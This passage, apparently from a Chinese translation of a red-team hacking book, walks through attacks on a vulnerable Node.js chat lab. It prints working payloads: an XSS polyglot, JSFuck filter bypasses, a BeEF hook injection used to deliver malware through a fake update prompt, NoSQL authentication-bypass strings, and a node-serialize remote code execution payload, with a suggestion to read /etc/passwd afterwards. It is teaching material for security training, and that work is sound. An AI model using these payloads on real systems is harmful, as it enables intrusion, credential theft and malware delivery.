的弹出窗口可能需要很长时间。如果我们可以尝试将多个 payload 链接到单个请求中,该怎么办? 最后一种类型的 payload 称为 [Polyglot](http://bit.ly/2GXxqxH)。Polyglot payload 采用许多不同类型的 payload 和混淆技术,并将它们编译成一次攻击。这适用于想使用自动脚本查找 XSS、时间有限的的漏洞赏金项目,或者仅仅想要快速发现输入验证存在哪些问题等情况。 因此,我们可以像( http://bit.ly/2GXxqxH )这样构建一个 Polyglot,而不是普通的 `<script>alert(1)</script>`: ``` /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ``` 如果你看一下上面的 payload,此攻击试图不使用尖括号,点和斜线的传统攻击代码;执行 onclick XSS;关闭多个标签;最后尝试一个 onload XSS。这些类型的攻击使 Polyglots 在识别 XSS 方面非常有效和高效。你可以在此处阅读有关这些 Polyglot XSS 的更多信息:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot 。 如果你想测试和使用不同的 polyglots,可以从易受攻击的 XSS 页面( http://chat:3000/xss )或整个聊天应用程序开始。 **BeEF** 浏览器漏洞利用框架( http://beefproject.com/ )或简称 BeEF 将 XSS 攻击提升到另一个层次。此工具将 JavaScript payload 注入受害者的浏览器,该浏览器会感染用户的系统。这会在受害者的浏览器上创建一个 C2通道,用于 JavaScript 后期利用。 对红队来说,BeEF 是一个很好的工具,可用于入侵活动,跟踪用户,捕获凭据,执行点击劫持,使用 Tabna 进行攻击等等。如果不在攻击期间使用,BeEF 也是一个很好的工具,可以展示 XSS 漏洞的强大功能。这也有助于更复杂的攻击,我们将在后面的 Blind XSS 小节下讨论。 BeEF 分为两部分:一部分是服务器,另一部分是攻击 payload。要启动服务器: 在你的攻击者 Kali 主机上启动 BeEF * 打开终端 * beef-xss * 使用 beef:beef * 查看 http://127.0.0.1:3000/hook.js * 完整 payload 文件: * `<script src="http://<Your IP>:3000/hook.js"></script>` 查看位于 http://127.0.0.1:3000/hook.js 上的 hook.js 文件,你应该会看到类似于长混淆的 JavaScript 文件的内容。这是连接受害者返回命令和控制服务器的客户端 payload 。 一旦在目标应用程序上识别出 XSS,而不是原始的 alert(1) 样式的 payload,就可以修改 `<script src ="http://<YourIP>:3000/hook.js"></script>` payload 来利用此漏洞。一旦你的受害者陷入此 XSS 陷阱,将导致他们的浏览器连接回你这边并成为你的僵尸网络的一部分。 BeEF 支持哪些类型的后渗透攻击?一旦你的受害者受到你的控制,你就可以做任何 JavaScript 可以做的事情。你可以通过 HTLM5打开相机并拍摄受害者的照片,你可以在屏幕上显示覆盖图以捕获凭据,也可以将其重定向到恶意网站以执行恶意软件。 以下是 BeEF 从 XSS 攻击中引发大量问题的快速演示: 首先,确保你的 BeEF 服务器在攻击者计算机上运行。在我们的易受攻击的聊天支持系统的应用程序中,你可以访问 http://chat:3000/xss 并在练习2的字段中输入你的 payload: * `<script src="http://127.0.0.1:3000/hook.js"></script>` 一旦你的受害者连接到你的僵尸网络,你就可以完全控制他们的浏览器。你可以根据设备,浏览器和目标机器启用的功能进行各种攻击。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新提示将恶意软件推送到他们的计算机。 ![](../images/chapter_3/3-8.png) 一旦执行,将在受害者的计算机上显示弹出窗口,强制他们安装更新,其中包含我们准备的恶意软件。 ![](../images/chapter_3/3-9.png) 我建议花一些时间熟悉所有 BeEf 的后渗透模块,并了解 JavaScript 的强大功能。由于我们会控制浏览器,因此我们必须弄清楚如何在红队活动中使用它。一旦你通过 XSS 感染了受害者,你还想做些什么?我们将在后面的“从 XSS 到 shell”部分讨论这个问题。 ### Blind XSS 漏洞 Blind XSS 漏洞很少被讨论,因为它是需要耐心的游戏。什么是 Blind XSS 漏洞?正如攻击的名称所表示的那样,攻击者/用户看不到存储的 XSS payload 的执行(无回显),只有管理员或后台员工才能看到。由于其攻击后端用户的能力,所以这种攻击可能危害很大,但尽管如此,它还是经常被遗忘。 例如,我们假设某个应用程序有一个“联系我们”页面,允许用户向管理员提供联系信息,以便以后联系。由于该数据的结果只能由管理员手动查看而不是用户请求查看,所以如果应用程序易受 XSS 攻击,攻击者不会立即看到他们的 “alert(1)” 攻击的回显。在这些情况下,我们可以使用 [XSSHunter](https://xsshunter.com) 来帮助我们验证 Blind XSS 漏洞。 XSSHunter 的工作原理是,当我们的 JavaScript payload 执行时,它将截取受害者屏幕(他们正在查看的当前页面)的屏幕截图,并将该数据发送回 XSSHunter 的站点。发生这种情况时,XSSHunter 将发送一个警报,告知我们的 payload 已执行并向我们提供所有详细信息。我们现在可以回去创建一个恶意 payload 并重新进行我们的攻击。 XSS Hunter: * 禁用任何代理(即 Burp Suite) * 在 https://xsshunter.com 创建帐户 * 登录 https://xsshunter.com/app * 转到 Payload 模块以获得你的 Payload * 修改 payload 以适应你的攻击或使用它构建 Polyglot * 检查 XSS hunter 以查看 payload 执行情况 ![](../images/chapter_3/3-10.png) ![](../images/chapter_3/3-11.png) ### 基于 DOM 的 XSS 对反射 XSS 和存储 XSS 的理解相对简单。我们已经知道,如果服务器没有为用户/数据库提供足够的输入/输出验证,我们的恶意脚本代码就会通过源代码呈现给用户。然而,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的误解。因此,让我们花些时间专注于基于 DOM 的 XSS。 当攻击者可以操纵 Web 应用程序的客户端脚本时,就可以使用基于文档对象模型(DOM)的 XSS。如果攻击者可以将恶意代码注入 DOM 并由客户端的浏览器读取,则可以在从 DOM 读回数据时执行 payload。 DOM 究竟是什么?文档对象模型(DOM)是 HTML 属性的一个特性。由于你的浏览器不理解 HTML,因此它会使用将 HTML 转换为 DOM 模型的解释器。 让我们在聊天支持网站上试一下吧。查看易受攻击的 Web 应用程序,你应该能够看到聊天支持网站受到 XSS 攻击的流程: * 创建一个帐户 * 登录 * 去聊天 * 尝试 `<script>alert(1)</script>`,然后尝试一些更疯狂的 XSS 攻击! 在我们的示例中,我们在服务器端有 Node.js,socket.io(Node.js 的库)在用户和服务器之间设置 Web 套接字,客户端 JavaScript 和我们的恶意 msg.msgText JavaScript。正如你在下面和页面的源代码中看到的那样,你不会像在标准的反射/存储的 XSS 中那样直接引用你的“弹窗” payload。在这个例子里,我们将得知唯一指示可以调用 payload 的位置来自 msg.name 引用。这有时会使我们很难确定执行 XSS payload 的位置,或者是否需要打破任何 HTML 标记。 ![](../images/chapter_3/3-12.png) ### NodeJS 中的高级 XSS XSS 可以不断用于攻击的一个重要原因是,仅靠过滤标签或某些字符防御它的话要困难得多。当 payload 特定于某种语言或框架时,XSS 很难防御。由于每种语言在此漏洞方面都有其独到之处,因此 NodeJS 也不会有什么不同。 在高级 XSS 部分中,你将学习一些特定语言的 XSS 漏洞发挥作用的示例。我们的 NodeJS Web 应用程序将使用一种更常见的 Web 堆栈和配置。此实现包括 [Express Framework](https://expressjs.com/) 和 [Pug 模板引擎](https://pugjs.org/)。重要的是要注意一点,默认情况下,Express 确实没有内置的 XSS 防护,除非通过模板引擎进行渲染。当使用像 Pub 这样的模板引擎时,有两种常见的方法可以找到 XSS 漏洞:(1)通过字符串插值,以及(2)缓冲代码。 模板引擎有一个字符串插值的概念,这是一种定义“字符串变量的占位符”的奇特方式。例如,让我们将字符串分配给 Pug 模板格式的变量: ``` - var title = "This is the HTML Title" - var THP = "Hack the Planet" h1 #{title} p The Hacker Playbook will teach you how to #{THP} ``` 请注意,`#{THP}` 是 THP 之前分配的变量的占位符。我们通常会在电子邮件分发消息中看到这些模板。你是否收到过来自 `${first_name}`...的自动化系统发送的电子邮件而不是你的真实名字?这正是模板引擎的用途。 当上面的模板代码呈现为 HTML 时,它将如下所示: ```html <h1>This is the HTML Title</h1> <p>The Hacker Playbook will teach you how to Hack the Planet</p> ``` 幸运的是,在这种情况下,我们使用 `#{}` 字符串插值,这是 Pug 插值的转义版本。如你所见,通过使用模板,我们可以创建可重用性非常高的代码并使模板非常轻量级。 Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别是什么?好吧,使用转义字符串插值将对 `<` ,`>` ,`'` 和 `"` 之类的字符进行 HTML 编码。这将有助于向用户提供输入验证。如果开发人员使用非转义字符串插值,这通常会导致 XSS 漏洞。 此外,字符串插值(或变量插值,变量替换或变量扩展)是评估包含一个或多个占位符的字符串文字的过程,从而产生一个结果,其中占位符替换为其对应的值。[https://en.wikipedia.org/wiki/String_interpolation] * 在 Pug 隐藏和非转义字符串插值( https://pugjs.org/language/interpolation.html ): * `!{}` - 非转义字符串插值 * `#{}` - 转义字符串插值 * 虽然这是转义的,但如果直接通过 JavaScript 传递它仍然可能容易受到 XSS 的攻击 * 在 JavaScript 中,未转义的缓冲区代码以“!=”开头。“!=”之后的任何内容都将自动作为 JavaScript 执行。 [https://pugjs.org/language/code.html#unescaped-buffered-code] * 最后,只要允许插入原始 HTML,就有可能存在 XSS。 在现实世界中,我们已经看到许多易受 XSS 攻击的案例,基于上述说明的方法,开发人员忘记了他们所处的上下文以及输入的参数的传递位置。让我们看看我们易受攻击的聊天支持系统应用程序中的一些示例。转到虚拟机上的以下 URL:`http://chat:3000/xss`。我们将逐步完成这些练习中的每一个,以了解 NodeJS/Pug XSS。 **练习1:( http://chat:3000/xss )** 在这个例子中,我们将字符串插值转义为段落标记。这是不可利用的,因为我们在 HTML 段落上下文中使用了正确的转义字符串插值符号。 * 转到 http://chat:3000/xss ,然后单击练习#1 * Pug 模板源代码 * p No results found for **#{name1}** * 尝试输入并提交以下 payload : * <script>alert(1)</script> * 单击练习#1并查看无结果输出 * 查看 HTML 响应(查看页面的源代码): * &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E; ![](../images/chapter_3/3-13.png) 点击提交后,查看页面源代码(ctrl+u)并搜索“alert”一词。你将看到我们的 payload 中的特殊字符被转换为 HTML 实体。脚本标签仍可通过我们的浏览器在我们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正确的,并且实际上没有办法通过这种情况来找到 XSS。这个工作评分会是 A+!让我们看一些糟糕的例子。 **练习2** 在这个例子中,我们在段落标记中用 `!{}` 表示非转义字符串插值。这很容易受到被精心设计的 XSS 攻击。任何基本的 XSS payload 都会触发此操作,例如:`<script>alert(1)</script>` * 打开练习2 * Pug 模板源代码 * p No results found for **!{name2}** * 尝试输入 payload: * `<script>alert(1)</script>` * 返回: * `<script>alert(1)</script>` * 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 因此,使用未提交用户输入的非转义字符串插值(`!{name2}`)会导致很多麻烦。这是一种不好的做法,不应该用于用户提交的数据。因为我们输入的任何 JavaScript 都将在受害者的浏览器上执行。 ![](../images/chapter_3/3-14.png) **练习3** 这个例子中,我们在动态生成的行内 JavaScript 中加入了转义后的字符串。这意味着我们成功了,因为它已经隐藏了,不是吗?由于我们所处的代码上下文,这个例子很容易受到攻击。我们将在 Pug 模板中看到,在我们的转义插值之前,我们实际上是在一个 script 标签内。因此,任何 JavaScript 都会自动执行。更棒的是,因为我们位于 Script 标签内,所以我们不需要将 `<script>` 标签用作 payload 的一部分。我们可以使用直接的 JavaScript 代码,例如:alert(1): * 打开练习3 * Pug 模板源代码 * script. * var user3 = **#{name3};** * p No results found for #{name3} * 此模板将在 HTML 中进行转义,如下所示: * `<script>` * `<p>No results found for [escaped user input]</p>` * `</script>` * 尝试输入 payload: * 1;alert(1); * 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 顺便说一句,下面是一个小小的改变,正确的方法是在插值周围添加引号: * Pug 模板源代码 * script. * var user3="#{name3}" **练习4** 在这个例子中,我们有 [Pug 非转义代码](https://pugjs.org/language/code.html),由 != 表示,因为没有转义,所以它很容易受到 XSS 的攻击。因此,在这种情况下,我们可以对输入字段使用简单的 `<script>alert(1)</script>` 样式攻击。 * Pug 模板源代码: * p != 'No results found for '+name4 * 尝试输入 payload: * `<script>alert(1)</script>` * 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 **练习5** 假设我们得到一个使用转义字符串插值和某种类型的过滤的应用程序。在下面的练习中,我们在 NodeJS 服务器中执行规则最小的黑名单过滤脚本,删除“<”,“>”和“alert”等字符。但是,他们再次错误地将我们的转义字符串插值放在 script 标签中。如果我们可以在那里利用 JavaScript,我们就可以发现一个 XSS: * 打开练习5 * Pug 模板源代码 * name5 = req.query.name5.replace(/[;’"<>=]|alert/g,"") * script. * var user3 = #{name5}; * 尝试输入 payload * 你可以尝试 alert(1),但由于过滤器不起作用。你也可以尝试像`<script>alert(1)</script>`这样的东西,但转义代码和过滤器会拦截我们。如果我们真的想获得能利用 alert(1)的 payload,我们该怎么办? * 我们需要弄清楚如何绕过过滤器来插入原始 JavaScript。请记住,JavaScript 功能非常强大,并且具有许多功能。我们可以利用此功能来提供一些新颖的 payload。绕过这些过滤器的一种方法是使用新颖的 JavaScript 表示方法。这可以通过名为 http://www.jsfuck.com/ 的站点创建。如下所示,通过使用括号,括号,加号和感叹号,我们可以重新创建 alert(1)。 * JSF*ck Payload: ``` [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() ``` ![](../images/chapter_3/3-15.png) 如你所知,许多浏览器已开始包含 XSS 保护机制。我们甚至可以使用这些 payload 来绕过某些浏览器保护。尝试在 Kali 之外的真实浏览器中使用它们,例如 Chrome。 在复杂的应用程序上触发 XSS 并不容易。很容易忽视或误解框架如何处理输入和输出。因此,在为 Pug/NodeJS 应用程序执行源代码审查时,在源代码中搜索 `!{`,`#{` 或 `${` 有助于可能触发 XSS 的位置。了解上下文,以及是否需要在该上下文中进行转义,这是至关重要的,我们将在以下示例中看到。 尽管这些攻击特定于 Node 和 Pug,但每种语言都存在针对 XSS 和输入验证的问题。你将无法运行漏洞扫描程序或 XSS 模糊测试工具并找到所有 XSS 漏洞。但你确实需要了解所使用的语言和框架。 ### 从 XSS 到 shell 我经常遇到的一个问题是,我如何通过 XSS 获取 Shell?尽管有许多不同的方法可以做到这一点,但我们通常会发现,如果我们可以让用户在内容管理系统(CMS)或类似系统中获得管理员的 XSS,那么这可能会导致系统完全受损。可以在这里找到 Hans-Michael 完整的演练示例和代码:https://github.com/Varbaek/xsser 。 Hans-Michael 提供了一些关于重建 XSS 到 RCE 攻击的精彩示例和视频。 我喜欢使用涉及利用 JavaScript 功能的自定义红队攻击。我们知道 JavaScript 非常强大,我们在 BeEF(浏览器开发框架)中看到过这样的功能。因此,我们可以利用所有这些功能来执行受害者不知情的攻击。这个 payload 会做些什么?攻击的一个示例是让受害者计算机上运行的 JavaScript XSS payload 获取受害者的内部(自然)IP 地址。然后,我们可以获取其 IP 地址并开始使用我们的 payload 扫描其内部网络。如果我们发现一个允许在没有身份验证的情况下就可以登入的 Web 应用程序,我们就可以向该服务器发送 payload。 例如,我们的目标可能是 Jenkins 服务器,我们知道如果可以未经身份验证登录的话,几乎可以完成远程代码执行。要查看 XSS 与 Jenkins 入侵的完整演练,请参阅第5章 - 利用社会工程攻击内网 Jenkins。 ### NoSQL 注入 在前两本书中,我们花了相当多的时间学习如何进行 SQL 注入和使用 [SQLMap](http://sqlmap.org/)。除了对 Burp Suite 的一些混淆和集成之外,本书对比上本书没有太大变化。相反,我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。 MySQL,MSSQL 和 Oracle 等传统 SQL 数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据有关。这样可以轻松执行查询,例如“列出所有在过去30天内购买东西的客户”。对这些数据的要求是,数据的格式必须在整个数据库中保持一致。NoSQL 数据库由通常不遵循表格/关系模型的数据组成,如 SQL 查询数据库中所示。这些称为“非结构化数据”(如图片,视频,社交媒体)的数据并不适用于我们的大量收集数据。 NoSQL 功能: * NoSQL 数据库的类型:Couch/MongoDB * 非结构化数据 * 水平化增长 在传统的 SQL 注入中,攻击者会尝试破坏 SQL 查询语句并在服务器端修改查询语句。使用 NoSQL 注入,攻击可以在应用程序的其他区域中执行,而不是在传统的 SQL 注入中执行。此外,在传统的 SQL 注入中,攻击者会使用一个标记来发起攻击。在 NoSQL 注入中,在NoSQL注入中,通常存在将字符串解析或评估为NoSQL调用的漏洞。 NoSQL 注入中的漏洞通常在以下情况下发生:(1)端点接受的 JSON 数据是从 NoSQL 数据库中请求的,以及(2)我们能够使用 NoSQL 比较运算符操作查询来更改 NoSQL 查询。 NoSQL 注入的一个常见例子是注入类似的东西:`[{"$gt":""}]`。这个 JSON 对象基本上是说运算符(`$gt`)大于 NULL("")。由于逻辑上一切都大于 NULL,因此 JSON 对象成为一个真正正确的语句,允许我们绕过或注入 NoSQL 查询。这相当于 SQL 注入世界中的[' or 1=1—]。在 MongoDB 中,我们可以使用以下条件运算符之一: * (>)大于 - `$gt` * (<)小于 - `$lt` * (>=)大于等于 - `$gte` * (<=)小于等于 - `$lte` **攻击客户支持系统 NoSQL 应用程序** 首先,浏览聊天应用程序上的 NoSQL 工作流程: * 在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql * 尝试使用任何用户名和密码进行身份验证。查看在 Burp Suite 中的身份验证请求期间发送的 POST 流量。 ![](../images/chapter_3/3-16.png) 在我们的聊天应用程序中,我们将看到在对/loginnosql 端点进行身份验证期间,我们的 POST 数据将包含 `{ "用户名":"admin","密码": "GuessingAdminPassword" }`。在 POST 请求中使用 JSON 来验证用户是很常见的,但是如果我们定义自己的 JSON 对象,我们可能会使用不同的条件语句来生成真正的语句。这实际上等于传统的 SQLi 1 = 1语句和绕过认证。让我们看看我们是否可以将其注入我们的应用程序。 **服务器源代码** 在聊天应用程序的 NoSQL 部分中,我们将像之前一样看到 JSON 的 POST 请求。因为作为黑盒测试,我们也看不到服务器端的源代码,我们可以期望它以某种方式查询 MongoDB 后端,类似于: * `db.collection(collection).find({"username":username,"password":password}).limit(1)`... **注入 NoSQL 聊天系统** 正如我们从服务器端源代码中看到的那样,我们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。如果我们可以修改 POST 请求,我们可能会注入数据库查询。 * 在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql * 在 Burp Suite 中打开“拦截”,单击“登录”,然后以管理员身份提交用户名,并输入密码 GuessingAdminPassword * 代理流量并拦截 POST 请求 * `{"username":"admin","password","GuessingAdminPassword"} --> {"username":"admin","password":{"$gt":""}}` * 你现在应该可以以管理员身份登录! ![](../images/chapter_3/3-17.png) 那么这里发生了什么呢?我们将字符串 "GuessingAdminPassword" 更改为JSON对象 `{"$gt":""}`,这是 TRUE 语句,因为大于 NULL 的所有内容都为 TRUE。这将 POST 请求更改为 `{"username":"admin", "password":TRUE }`,它自动使请求为 TRUE 并以管理员身份登录而不需要知道密码,类似 SQLi 中的 1 = 1 攻击。 **高级 NoSQLi** NoSQL 注入并不新鲜,但 NodeJS 章节的目的是展示更新的框架和语言以及如何潜在地引进新的漏洞。例如,Node.js 有一个 qs 模块,它具有将 HTTP 请求参数转换为 JSON 对象的特定语法。默认情况下,qs 模块在 Express 中使用“body-parser”中间件的一部分。 * qs 模块:一个查询字符串解析和字符串化库,增加了一些安全性。[https://www.npmjs.com/package/qs] 这是什么意思?如果使用 qs 模块,如果在参数中使用括号表示法,POST 请求将在服务器端转换为 JSON。因此,看起来像用户名 [value] = admin&password [value] = admin 的 POST 请求将转换为 `{"username":{"value":"admin"},"password":{"value":"admin" }}`。现在,qs 模块也将接受并转换 POST 参数以协助 NoSQLi: * 例如,我们可以发出如下的 POST 请求: * `username=admin&password[$gt]=` * 服务器端请求转换将转换为: * `{"username": "admin", "password":{"$gt":""}` * 现在看起来类似于传统的 NoSQLi 攻击。 现在,我们的请求看起来与上一节中的 NoSQLi 相同。让我们看看这个操作: * 转到 http://chat:3000/nosql2 * 打开 Burp Intercept * 使用 admin 登录: * 修改 POST 参数: * `username=admin&password[$gt]=&submit=login` ![](../images/chapter_3/3-18.png) 你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器执行 NoSQL 注入,作为解析器中间件的一部分。但等等,还有更多!如果你不知道要攻击哪个用户名怎么办?我们可以使用同样的攻击来查找和登录其他帐户吗? 如果不是使用密码的话,那我们也可以尝试使用用户名吗?在这种情况下,NoSQLi POST 请求看起来像: * `username[$gt]=admin&password[$gt]=&submit=login` 上面的 POST 请求实际上是在数据库中查询下一个大于 admin 的用户名,并使用密码字段生成一个 TRUE 语句。如果成功,你应该在管理员之后按字母顺序作为下一个用户登录。继续这样做,直到找到 superaccount 。 更多 NoSQL Payload: * https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection * https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html * https://www.owasp.org/index.php/Testing_for_NoSQL_injection ### 反序列化攻击 在过去的几年中,通过网络进行的序列化/反序列化攻击变得越来越流行。我们在 BlackHat上看到了许多不同的讨论,发现了 Jenkins 和 Apache Struts2 等常见应用程序中的关键漏洞,并且正在开发像 [ysoserial](https://github.com/frohoff/ysoserial) 这样工具的大量活跃研究。那么反序列化攻击有什么厉害之处呢? 在我们开始之前,我们需要了解为什么要序列化。序列化数据有很多原因,但最常用于生成值/数据的可存储表示而不会丢失其类型或结构。序列化将对象转换为字节流,以通过网络传输或存储。通常,转换方法涉及 XML,JSON 或特定于该语言的序列化方法。 NodeJS 中的反序列化<br> 很多时候,发现复杂的漏洞需要深入了解应用程序。在我们的场景中,Chat NodeJS 应用程序正在使用易受攻击的 [serialize.js 版本](https://github.com/luin/serialize) 。可以发现这个 Node 库易受攻击,因为 “不受信任的数据被传递到 unserialize() 函数中,攻击者通过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起任意代码执行。”( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 ) 让我们逐步了解攻击的细节,以便更好地了解正在发生的事情。第一,我们查看了 serialize.js 文件并快速搜索 eval( https://github.com/luin/serialize/search?utf8=%E2%9C%93&q=eval&type= )。通常,允许用户输入进入 JavaScript eval 语句是坏的消息,因为 `eval()`执行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句,他们将能够在服务器上执行远程执行代码。 ![](../images/chapter_3/3-19.png) 其次,我们需要创建一个序列化的 payload,它将被反序列化,并通过我们的 JavaScript payload `require('child_process').exec('ls')`. ``` {“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”} ``` 上面的 JSON 对象将通过以下的请求`(){require('child_process').exec('ls')}`进入 unserialize 函数中的 eval 语句,为我们提供远程代码执行。要注意的最后一部分是结尾括号添加了“()”,因为没有它我们的函数就不会被调用。第一个发现此漏洞的研究员 Ajin Abraham 发现,使用立即调用的函数表达式或 IIFE( https://en.wikipedia.org/wiki/Immediately-invoked_function_expression )将允许在创建后执行该函数。有关此漏洞的更多详细信息,请访问:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 。 在我们的聊天应用程序示例中,我们将查看 cookie 值,该值正在使用此易受攻击的库进行反序列化: * 转到 http://chat:3000 * 代理 burp 中的流量并查看 cookie * 识别一个 cookie 名称“donotdecodeme” * 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码 ![](../images/chapter_3/3-20.png) ![](../images/chapter_3/3-21.png) 如前所述,每种语言都有其独特的地方,NodeJS 也不例外。在 Node/Express/Pug 中,你无法直接写入 Web 目录,但是可以像在 PHP 中一样访问它。必须有一个指向文件夹的指定路径,该文件夹既可写又可访问到公共网络。 **创建有效 payload** * 在开始之前,请记住实验中的所有这些 payload 都可以从这里复制粘贴:http://bit.ly/2qBDrFo * 获取原始 payload 并修改你的 shell 执行“'DO SYSTEM COMMANDS HERE” ```javascript {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout)});}"} ``` * 例: ```javascript {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) { console.log(stdout) });}()"} ``` * 由于原始 Cookie 已编码,我们必须通过 Burp Decoder/Encoder 对我们的 payload 进行 base64编码 *示例 payload:eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd * 注销,打开Burp拦截,并转发/(home)请求 * 将 cookie 修改为新创建的 Base64 payload * 转发流量,因为公用文件夹是/的路由,你应该能够打开浏览器并转到 http://chat:3000/hacked.txt * 你现在可以进行远程执行代码!随意对此系统进行后期利用。首先尝试访问 `/etc/passwd`。 ![](../images/chapter_3/3-22.png) 在 node-serialize 模块的源代码中,我们可以利用函数表达式,这对于使用用户输入执行此操作的任何 JavaScript/NodeJS 应用程序来说都是一个严重的问题。这种糟糕的做法让我们攻陷了这个应用程序。 ![](../images/chapter_3/3-23.png) 参考文献: * https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ * https://github.com/luin/serialize * https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low * https://blog.websecurify.com/2017/02/hacking-node-serialize.html ### 模板引擎攻击——模板注入 模板引擎由于其模块化和简洁的代码与标准 HTML 相比而被更频繁地使用。模板注入是指用户输入直接传递到渲染模板,允许修改底层模板。这可以在 wiki,WSYWIG 或电子邮件模板中恶意使用。这种情况很少发生在无意中,所以它经常被误解为只是 XSS。模板注入通常允许攻击者访问底层操作系统以获取远程代码执行。 在下一个示例中,你将通过 Pug 对我们的 NodeJS 应用程序执行模板注入攻击。我们无意中将自己暴露给模板注入,使用带有用户输入的元重定向,使用模板文字`${}`直接在 Pug 中呈现。重要的是要注意模板文字允许使用换行符,这是我们必须破坏段落标记,因为 Pug 是空格和换行符,类似于 Python 。 在 Pug 中,第一个字符或单词表示表示标签或功能的 Pug 关键字。你也可以使用缩进指定多行字符串,如下所示: * p. * 这是段落缩进。 * 这仍然是段落标记的一部分。 以下是 HTML 和 Pug 模板的示例: ![](../images/chapter_3/3-24.png) 上面的示例文本显示了它在 HTML 中的外观以及相应的 Pug Markup 语言的外观。通过模板和字符串插值,我们可以创建快速,可重用且高效的模板 **模板注入示例** 聊天应用程序容易受到模板注入攻击。在下面的应用程序中,我们将看看我们是否可以与 Pug 模板系统进行交互。这通常可以通过检查我们提供的输入参数是否可以处理基本操作来完成。James Kettle 写了一篇关于攻击模板和与底层模板系统交互的大论文( http://ubm.io/2ECTYSi )。 与 Pug 交互: * 转到 http://chat:3000 并使用任何有效帐户登录 * 转到 http://chat:3000/directmessage 并输入用户和评论以及“发送”,接下来,返回 Direct Message 页面并尝试将 XSS payload 输入到用户参数`<script>alert(1)</script>` * http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&comment * 这表明应用程序容易受到 XSS 的攻击,但我们可以与模板系统进行交互吗? * 在 Burp 历史记录中,查看服务器请 request/response 的响应 `/ti?user=`,并将请求发送到 Burp Repeater(ctrl+r) ![](../images/chapter_3/3-25.png) ![](../images/chapter_3/3-26.png) **测试基本操作** 我们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受攻击参数。如果我们的输入被读取,它将识别它易受模板注入的影响。这是因为模板(如编码语言)可以轻松支持评估算术运算符。 测试基本操作符: * 在 Burp Repeater 中,测试 `/ti` 上的每个参数以进行模板注入。我们可以通过传递9乘9这样的数学运算来做到这一点。 * 我们可以看到它没有用,我们没有得到81,请记住,我们的用户输入包含在段落标记内,所以我们可以假设我们的 Pug 模板代码看起来像这样: * p Message has been sent to !{user} ![](../images/chapter_3/3-27.png) 